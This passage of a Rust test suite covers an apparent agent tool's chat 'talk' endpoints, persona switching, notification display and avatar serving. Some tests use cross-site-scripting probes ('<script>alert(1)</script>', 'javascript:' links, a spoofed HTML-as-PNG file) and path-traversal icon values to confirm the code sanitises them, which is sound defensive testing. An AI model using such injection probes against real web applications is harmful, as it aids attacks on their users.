11235 let talks = Talks::at(home.path().join("talks"));
11236 let ui = Arc::new(
11237 Ui::new(
11238 Queue::at(home.path().join("queue")),
11239 Questions::at(home.path().join("questions")),
11240 talks.clone(),
11241 home.path().join("runs"),
11242 home.path().to_path_buf(),
11243 repo.clone(),
11244 )
11245 .with_worktrees_root(home.path().join("wt")),
11246 );
11247 let cfg = config_for(&repo).await.expect("discover config");
11248 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11249 let id = talk.id.clone();
11250 let call = |agent: &str| {
11251 talk_agent(
11252 State(Arc::clone(&ui)),
11253 Path(id.clone()),
11254 Json(TalkAgent {
11255 agent: agent.to_owned(),
11256 }),
11257 )
11258 };
11259
11260 let unknown = call("nobody").await.expect_err("unknown agent");
11261 assert_eq!(
11262 unknown.status,
11263 StatusCode::BAD_REQUEST,
11264 "{}",
11265 unknown.message
11266 );
11267
11268 {
11269 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11272 let busy = call("second").await.expect_err("busy talk");
11273 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11274 assert!(
11275 busy.message.contains("a talk turn is running"),
11276 "{}",
11277 busy.message
11278 );
11279 drop(guard);
11280 }
11281 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
11282
11283 let Json(view) = call("second").await.expect("switch");
11284 assert_eq!(view.talk.agent, "second");
11285 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
11286 let saved = talks.get(&id).expect("reload");
11287 assert_eq!(saved.agent, "second");
11288 assert_eq!(saved.turns.len(), 1);
11289 assert!(!view.thinking);
11290 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11291 for agent in ["mock", "second"] {
11292 let Json(view) = call(agent).await.expect("immediate consecutive change");
11293 assert_eq!(view.talk.agent, agent);
11294 assert!(!view.thinking);
11295 assert!(!ui.is_thinking(&id));
11296 }
11297
11298 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11299 .await
11300 .expect("detail");
11301 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
11302 assert_eq!(roster, ["mock", "second"]);
11303
11304 let mut closed = talks.get(&id).expect("reload");
11305 talk::close(&mut closed, &talks).expect("close");
11306 let refused = call("mock").await.expect_err("closed talk");
11307 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
11308 assert!(
11309 refused.message.contains("takes no more turns"),
11310 "{}",
11311 refused.message
11312 );
11313 }
11314
11315 #[tokio::test]
11316 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
11317 let tmp = TempDir::new().expect("tempdir");
11318 let repo = tmp.path().join("repo");
11319 std::fs::create_dir_all(&repo).expect("repo dir");
11320 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11321 let home = TempDir::new().expect("temp home");
11322 let talks = Talks::at(home.path().join("talks"));
11323 let ui = Arc::new(
11324 Ui::new(
11325 Queue::at(home.path().join("queue")),
11326 Questions::at(home.path().join("questions")),
11327 talks.clone(),
11328 home.path().join("runs"),
11329 home.path().to_path_buf(),
11330 repo.clone(),
11331 )
11332 .with_worktrees_root(home.path().join("wt")),
11333 );
11334 let cfg = config_for(&repo).await.expect("discover config");
11335 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11336 let id = talk.id.clone();
11337 let call = |n: u8| {
11338 talk_implementers(
11339 State(Arc::clone(&ui)),
11340 Path(id.clone()),
11341 Json(TalkImplementers { implementers: n }),
11342 )
11343 };
11344
11345 for bad in [0u8, 4] {
11346 let e = call(bad).await.expect_err("out of range");
11347 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
11348 }
11349 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
11350
11351 {
11352 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
11355 let busy = call(2).await.expect_err("busy talk");
11356 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
11357 assert!(
11358 busy.message.contains("a talk turn is running"),
11359 "{}",
11360 busy.message
11361 );
11362 drop(guard);
11363 }
11364
11365 let Json(view) = call(3).await.expect("switch");
11366 assert_eq!(view.talk.implementers, 3);
11367 assert!(talks.get(&id).expect("reload").implementers_dirty);
11368 assert!(!view.thinking);
11369 assert!(!ui.is_thinking(&id), "idle response must release the claim");
11370 for n in [1, 2, 3] {
11371 let Json(view) = call(n).await.expect("immediate consecutive change");
11372 assert_eq!(view.talk.implementers, n);
11373 assert!(!view.thinking);
11374 assert!(!ui.is_thinking(&id));
11375 }
11376
11377 let mut closed = talks.get(&id).expect("reload");
11378 talk::close(&mut closed, &talks).expect("close");
11379 let e = call(2).await.expect_err("closed talk");
11380 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
11381 assert!(e.message.contains("takes no more turns"), "{}", e.message);
11382 }
11383
11384 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
11386 let tmp = TempDir::new().expect("tempdir");
11387 let repo = tmp.path().join("repo");
11388 std::fs::create_dir_all(&repo).expect("repo dir");
11389 std::fs::write(
11390 repo.join("magi.toml"),
11391 format!("{MOCK_AGENT_TOML}\n{extra}"),
11392 )
11393 .expect("write magi.toml");
11394 let home = TempDir::new().expect("temp home");
11395 let talks = Talks::at(home.path().join("talks"));
11396 let ui = Arc::new(
11397 Ui::new(
11398 Queue::at(home.path().join("queue")),
11399 Questions::at(home.path().join("questions")),
11400 talks.clone(),
11401 home.path().join("runs"),
11402 home.path().to_path_buf(),
11403 repo.clone(),
11404 )
11405 .with_worktrees_root(home.path().join("wt")),
11406 );
11407 let cfg = config_for(&repo).await.expect("discover config");
11408 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
11409 (tmp, home, ui, talk.id, repo)
11410 }
11411
11412 #[tokio::test]
11413 async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
11414 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11415 let mut conversation = ui.talks.get(&id).unwrap();
11416 talk::record(
11417 &mut conversation,
11418 &ui.talks,
11419 "# Update on a task you filed\noperator words",
11420 vec![],
11421 )
11422 .unwrap();
11423 conversation.turns[0].sender = None;
11425 conversation.turns[0].messages.clear();
11426 ui.talks.put(&mut conversation).unwrap();
11427 talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
11428 talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
11429 talk::drain(&mut conversation, &ui.talks).unwrap();
11430 talk::record_reply(
11431 &mut conversation,
11432 &ui.talks,
11433 "about that report",
11434 vec![],
11435 Some(talk::ReplyTarget {
11436 turn: 1,
11437 message: 1,
11438 }),
11439 )
11440 .unwrap();
11441 conversation.turns[2].messages[0]
11442 .reply
11443 .as_mut()
11444 .unwrap()
11445 .sender = None;
11446 conversation.turns.push(talk::Turn {
11447 sender: Some(talk::Sender::Persona),
11448 who: talk::Who::Agent,
11449 body: "magi: actual persona words".into(),
11450 at: Timestamp::now(),
11451 attachments: vec![],
11452 usage: None,
11453 breaks: None,
11454 messages: vec![],
11455 posted_by: None,
11456 });
11457 ui.talks.put(&mut conversation).unwrap();
11458 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11459 assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
11460 assert_eq!(
11461 view.talk.turns[1].messages[0].sender,
11462 Some(talk::Sender::Operator)
11463 );
11464 assert_eq!(
11465 view.talk.turns[1].messages[1].sender,
11466 Some(talk::Sender::Magi)
11467 );
11468 assert_eq!(
11469 view.talk.turns[2].messages[0]
11470 .reply
11471 .as_ref()
11472 .unwrap()
11473 .sender,
11474 Some(talk::Sender::Magi)
11475 );
11476 assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
11477 assert_eq!(view.turn_messages_md[0].len(), 1);
11478 assert!(view.turn_messages_md[0][0].is_none());
11479 assert!(view.turn_messages_md[1][0].is_none());
11480 assert!(view.turn_messages_md[1][1].is_some());
11481 }
11482
11483 #[tokio::test]
11484 async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
11485 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11486 let mut conversation = ui.talks.get(&id).unwrap();
11487 let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
11488 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11489 talk::queue_notice(
11490 &mut conversation,
11491 &ui.talks,
11492 &body,
11493 "watch:123",
11494 &|_| false,
11495 None,
11496 display.clone(),
11497 )
11498 .unwrap();
11499 assert!(
11500 !talk::queue_notice(
11501 &mut conversation,
11502 &ui.talks,
11503 &body,
11504 "watch:123",
11505 &|_| false,
11506 None,
11507 display.clone()
11508 )
11509 .unwrap()
11510 );
11511 let saved = ui.talks.get(&id).unwrap();
11512 assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
11513 let view = TalkView::with_config(saved, false, None, &ui.home);
11514 assert!(
11515 view.talk.turns[0].messages[0].display.is_none(),
11516 "operator copy stays literal"
11517 );
11518 assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
11519 assert!(view.turn_messages_md[0][0].is_none());
11520 let queued_md = view.pending_messages_md[0].clone();
11521 assert_eq!(
11522 queued_md,
11523 Some(md::to_nodes(&display.facts, &md::ImageBase::None))
11524 );
11525 talk::drain(&mut conversation, &ui.talks).unwrap();
11526 talk::record_reply(
11527 &mut conversation,
11528 &ui.talks,
11529 "Explain",
11530 vec![],
11531 Some(talk::ReplyTarget {
11532 turn: 1,
11533 message: 0,
11534 }),
11535 )
11536 .unwrap();
11537 let mut saved = ui.talks.get(&id).unwrap();
11538 assert_eq!(saved.turns[1].messages[0].body, body);
11539 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
11540 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
11541 assert!(!reply.excerpt.contains("automatic report"));
11542 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
11545 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11546 assert_eq!(view.turn_messages_md[1][0], queued_md);
11547 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
11548 assert!(
11549 !view.talk.turns[2].messages[0]
11550 .reply
11551 .as_ref()
11552 .unwrap()
11553 .excerpt
11554 .contains("automatic report")
11555 );
11556 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
11557 }
11558
11559 #[tokio::test]
11560 async fn consultation_display_hides_directives_in_queue_and_history() {
11561 for node in [
11562 "implement",
11563 crate::land::APPROVAL_NODE,
11564 crate::github_text::ASK_NODE,
11565 ] {
11566 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11567 let mut question = Question::new(
11568 "run-123".into(),
11569 node.into(),
11570 "seat-1".into(),
11571 "Which backend?".into(),
11572 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
11573 vec!["SQLite".into(), "Redis".into()],
11574 );
11575 ui.questions.put(&mut question).unwrap();
11576 let body = crate::prompt::chat_consult(&question);
11577 let mut conversation = ui.talks.get(&id).unwrap();
11578 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11579 assert!(
11580 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
11581 );
11582 conversation = ui.talks.get(&id).unwrap();
11583 assert_eq!(conversation.pending_messages[0].body, body);
11584 assert!(body.contains("magi answer"));
11585 let mut legacy_pending = conversation.clone();
11586 legacy_pending.pending_messages[0].display = None;
11587 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
11588 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
11589 assert!(legacy_md.contains("Question consultation"));
11590 assert!(!legacy_md.contains("magi answer"));
11591 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
11592 assert!(
11593 view.turn_messages_md[0][0].is_none(),
11594 "operator copy stays literal"
11595 );
11596 let queued_md = view.pending_messages_md[0].clone().unwrap();
11597 let rendered = serde_json::to_string(&queued_md).unwrap();
11598 for visible in [
11599 "Which backend?",
11600 "Context",
11601 "storage",
11602 "SQLite",
11603 "Redis",
11604 "<script>literal</script>",
11605 ] {
11606 assert!(rendered.contains(visible), "missing {visible}");
11607 }
11608 for directive in [
11609 "What to do",
11610 "magi answer",
11611 "Never answer it yourself",
11612 "Do not edit the repository",
11613 ] {
11614 assert!(!rendered.contains(directive), "exposed {directive}");
11615 }
11616 assert_eq!(
11617 view.talk.pending_messages[0].display,
11618 Some(crate::prompt::chat_consult_display(&question))
11619 );
11620 talk::drain(&mut conversation, &ui.talks).unwrap();
11621 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
11622 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
11623 assert_eq!(conversation.turns[1].messages[0].body, body);
11624
11625 conversation.turns[1].messages[0].display = None;
11628 let view = TalkView::with_config(conversation, false, None, &ui.home);
11629 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
11630 assert!(legacy.contains("Question consultation"));
11631 assert!(!legacy.contains("magi answer"));
11632 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
11633 }
11634 }
11635
11636 #[test]
11637 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
11638 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
11639 let (body, mut display) =
11640 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
11641 display.facts = facts.into();
11642 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
11643 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
11644 let json = serde_json::to_string(&nodes).unwrap();
11645 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
11646 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
11647 }
11648 assert!(json.contains("<script>alert(1)</script>"));
11649 assert!(!json.contains("javascript:"));
11650 assert!(!json.contains("Tell the operator"));
11651 assert!(!json.contains("untrusted"));
11652 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
11653 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
11654 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
11655 assert_eq!(
11656 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
11657 md::to_nodes("# Status", &md::ImageBase::None),
11658 );
11659 }
11660
11661 #[tokio::test]
11662 async fn notification_display_recovers_exact_legacy_completion_references() {
11663 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
11664 let mut conversation = ui.talks.get(&id).unwrap();
11665 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
11666 id: "task-123",
11667 title: "Change",
11668 status: "done",
11669 reason: None,
11670 run: Some("run-123"),
11671 pr: None,
11672 summary: Some("Merge state unknown"),
11673 });
11674 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
11675 conversation.turns[0].sender = None;
11676 conversation.turns[0].messages.clear();
11677 conversation.turns[0].breaks = None;
11678 conversation.pending = body.clone();
11679 conversation
11680 .completion_notices
11681 .push(crate::chat_notify::CompletionReference {
11682 task: "task-123".into(),
11683 run: Some("run-123".into()),
11684 notice: body.clone(),
11685 });
11686 ui.talks.put(&mut conversation).unwrap();
11687 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
11688 assert_eq!(
11689 view.talk.turns[0].messages[0].display,
11690 Some(display.clone())
11691 );
11692 assert_eq!(view.talk.pending_messages[0].display, Some(display));
11693 assert_eq!(
11694 view.talk.turns[0].messages[0].sender,
11695 Some(talk::Sender::Magi)
11696 );
11697 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
11698 conversation.completion_notices[0]
11699 .notice
11700 .push_str("different");
11701 let view = TalkView::with_config(conversation, false, None, &ui.home);
11702 assert!(view.talk.turns[0].messages.is_empty());
11703 assert!(view.talk.pending_messages.is_empty());
11704 }
11705
11706 #[tokio::test]
11707 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
11708 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
11709 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11710 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
11711 let _ = magi_icon_put(
11712 State(ui.clone()),
11713 Json(MagiIconUpload { icon: icon.into() }),
11714 )
11715 .await
11716 .unwrap();
11717 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
11718 assert_ne!(original, changed);
11719 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11720 let response = magi_avatar(
11721 State(ui.clone()),
11722 Query(AvatarQuery {
11723 persona: None,
11724 builtin: None,
11725 }),
11726 )
11727 .await;
11728 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
11729 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
11730 assert_eq!(
11731 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
11732 "nosniff"
11733 );
11734 for bad in [
11735 "data:image/png;base64,PGh0bWw+".to_owned(),
11736 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
11737 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
11738 ] {
11739 assert!(save_magi_icon(home.path(), &bad).is_err());
11740 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
11741 }
11742 let restarted = Arc::new(Ui::new(
11744 Queue::at(home.path().join("queue")),
11745 Questions::at(home.path().join("questions")),
11746 Talks::at(home.path().join("talks")),
11747 home.path().join("runs"),
11748 home.path().to_path_buf(),
11749 repo,
11750 ));
11751 assert_eq!(
11752 magi_icon_get(State(restarted.clone())).await.0["avatar"],
11753 changed
11754 );
11755 let view = TalkView::with_config(
11756 restarted.talks.get(&id).unwrap(),
11757 false,
11758 None,
11759 &restarted.home,
11760 );
11761 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
11762 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
11763 let response = magi_avatar(
11764 State(ui.clone()),
11765 Query(AvatarQuery {
11766 persona: None,
11767 builtin: None,
11768 }),
11769 )
11770 .await;
11771 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
11772 .await
11773 .unwrap();
11774 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
11775 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
11776 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
11777 let _ = magi_icon_delete(State(ui)).await.unwrap();
11778 }
11779
11780 async fn avatar(
11782 ui: &Arc<Ui>,
11783 id: &str,
11784 persona: Option<&str>,
11785 builtin: bool,
11786 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
11787 let res = talk_avatar(
11788 State(Arc::clone(ui)),
11789 Path(id.to_owned()),
11790 Query(AvatarQuery {
11791 persona: persona.map(str::to_owned),
11792 builtin: builtin.then(|| "1".to_owned()),
11793 }),
11794 )
11795 .await
11796 .expect("an avatar is never an error response");
11797 let h = res.headers();
11798 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
11799 let nosniff = h
11800 .get(header::X_CONTENT_TYPE_OPTIONS)
11801 .is_some_and(|v| v == "nosniff");
11802 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
11803 let status = res.status();
11804 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11805 .await
11806 .expect("body")
11807 .to_vec();
11808 (status, ct, nosniff, csp, body)
11809 }
11810
11811 fn tiny_png() -> Vec<u8> {
11812 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
11813 b.extend_from_slice(&[0u8; 32]);
11814 b
11815 }
11816
11817 #[tokio::test]
11818 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
11819 let res = operator_avatar().await;
11820 assert_eq!(res.status(), StatusCode::OK);
11821 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
11822 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
11823 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
11824 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
11825 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
11826 .await
11827 .unwrap();
11828 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
11829 assert_ne!(
11830 persona_icon::operator_svg(),
11831 persona_icon::builtin_svg("default")
11832 );
11833 }
11834
11835 #[tokio::test]
11836 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
11837 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
11838 for p in [
11839 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
11840 ] {
11841 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
11842 assert_eq!(status, StatusCode::OK, "{p}");
11843 assert_eq!(ct, "image/svg+xml", "{p}");
11844 assert!(nosniff && csp, "{p}");
11845 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
11846 }
11847 let own = avatar(&ui, &id, None, false).await;
11849 let default = avatar(&ui, &id, Some("default"), false).await;
11850 assert_eq!(own.4, default.4);
11851 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
11852 assert_eq!(unknown.1, "image/svg+xml");
11853 }
11854
11855 #[tokio::test]
11856 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
11857 let dir = TempDir::new().expect("icons");
11858 let good = dir.path().join("good.png");
11859 std::fs::write(&good, tiny_png()).unwrap();
11860 let spoof = dir.path().join("spoof.png");
11861 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
11862 let big = dir.path().join("big.png");
11863 let mut bytes = tiny_png();
11864 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
11865 std::fs::write(&big, bytes).unwrap();
11866 let missing = dir.path().join("missing.png");
11867 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
11868 let extra = format!(
11869 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
11870 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
11871 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
11872 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11873 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11874 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11875 uri(&good),
11876 uri(&spoof),
11877 uri(&big),
11878 uri(&missing),
11879 );
11880 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11881
11882 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11883 assert_eq!(
11884 (status, ct.as_str(), nosniff),
11885 (StatusCode::OK, "image/png", true)
11886 );
11887 assert_eq!(body, tiny_png());
11888 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11889 assert_eq!(ct, "image/png", "data URI");
11890
11891 for p in ["misato", "asuka", "shinji", "magi"] {
11892 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11893 assert_eq!(
11894 (status, ct.as_str(), csp),
11895 (StatusCode::OK, "image/svg+xml", true),
11896 "{p}"
11897 );
11898 assert!(body.starts_with(b"<svg"), "{p}");
11899 }
11900 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11902 assert_eq!(ct, "image/svg+xml");
11903 }
11904
11905 #[tokio::test]
11906 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11907 let oversized = format!(
11908 "data:image/png;base64,{}",
11909 "A".repeat(persona_icon::ICON_MAX_BYTES)
11910 );
11911 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11912 let extra = format!(
11913 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11914 );
11915 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11916 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11917 .await
11918 .expect("detail with invalid icon");
11919 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11920 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11921 assert_eq!(status, StatusCode::OK);
11922 assert_eq!(ct, "image/svg+xml");
11923 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11924 let Json(view) = talk_persona(
11925 State(Arc::clone(&ui)),
11926 Path(id.clone()),
11927 Json(TalkPersona {
11928 persona: "custom".into(),
11929 }),
11930 )
11931 .await
11932 .expect("persona switch with invalid icon");
11933 assert_eq!(view.talk.persona, "custom");
11934 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11935 }
11936 }
11937
11938 #[tokio::test]
11939 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11940 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11941 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11942 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11943 assert_eq!(
11944 (status, ct.as_str(), nosniff, csp),
11945 (StatusCode::OK, "image/svg+xml", true, true)
11946 );
11947 }
11948
11949 #[tokio::test]
11950 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11951 let (_t, _h, ui, id, _repo) =
11952 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11953 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11954 .await
11955 .expect("detail");
11956 let json = serde_json::to_string(&detail).unwrap();
11957 assert!(
11958 !json.contains("secret"),
11959 "the icon setting must not leak: {json}"
11960 );
11961 assert!(
11962 detail
11963 .view
11964 .persona_avatar
11965 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11966 );
11967 assert_eq!(
11968 detail.view.operator_avatar,
11969 format!(
11970 "/avatars/operator.svg?v={}",
11971 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11972 )
11973 );
11974 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11975 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11976 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11977 assert!(rei.avatar.contains("persona=rei&v="));
11978 assert_ne!(
11979 rei.avatar.split("&v=").nth(1),
11980 plain.avatar.split("&v=").nth(1)
11981 );
11982 }
11983
11984 #[tokio::test]
11985 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11986 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11987 let cfg = config_for(&repo).await.unwrap();
11988 for arrived in [false, true] {
11989 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11990 let observed = ui.queued_generation(&id);
11991 let talk = ui.talks.get(&id).unwrap();
11992 if arrived {
11993 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11994 }
11995 let mut settling = std::pin::pin!(settle_settings_turn(
11996 talk,
11997 ui.talks.clone(),
11998 cfg.clone(),
11999 id.clone(),
12000 turn,
12001 observed
12002 ));
12003 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12004 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12005 assert_eq!(first.is_pending(), arrived);
12006 if arrived {
12007 assert!(!settling.await);
12008 }
12009 assert!(!ui.is_thinking(&id));
12010 }
12011 }
12012
12013 #[tokio::test]
12014 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12015 let tmp = TempDir::new().expect("tempdir");
12016 let repo = tmp.path().join("repo");
12017 std::fs::create_dir_all(&repo).expect("repo dir");
12018 std::fs::write(
12019 repo.join("magi.toml"),
12020 format!(
12021 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12022 ),
12023 )
12024 .expect("write magi.toml");
12025 let home = TempDir::new().expect("temp home");
12026 let talks = Talks::at(home.path().join("talks"));
12027 let ui = Arc::new(
12028 Ui::new(
12029 Queue::at(home.path().join("queue")),
12030 Questions::at(home.path().join("questions")),
12031 talks.clone(),
12032 home.path().join("runs"),
12033 home.path().to_path_buf(),
12034 repo.clone(),
12035 )
12036 .with_worktrees_root(home.path().join("wt")),
12037 );
12038 let cfg = config_for(&repo).await.expect("discover config");
12039 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12040 let id = talk.id.clone();
12041 let call = |persona: &str| {
12042 talk_persona(
12043 State(Arc::clone(&ui)),
12044 Path(id.clone()),
12045 Json(TalkPersona {
12046 persona: persona.to_owned(),
12047 }),
12048 )
12049 };
12050
12051 let unknown = call("nobody").await.expect_err("unknown persona");
12052 assert_eq!(
12053 unknown.status,
12054 StatusCode::BAD_REQUEST,
12055 "{}",
12056 unknown.message
12057 );
12058
12059 {
12060 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12063 let busy = call("rei").await.expect_err("busy talk");
12064 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12065 assert!(
12066 busy.message.contains("a talk turn is running"),
12067 "{}",
12068 busy.message
12069 );
12070 drop(guard);
12071 }
12072 assert_eq!(talks.get(&id).expect("reload").persona, "");
12073
12074 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12075 assert_eq!(view.talk.persona, "gendo");
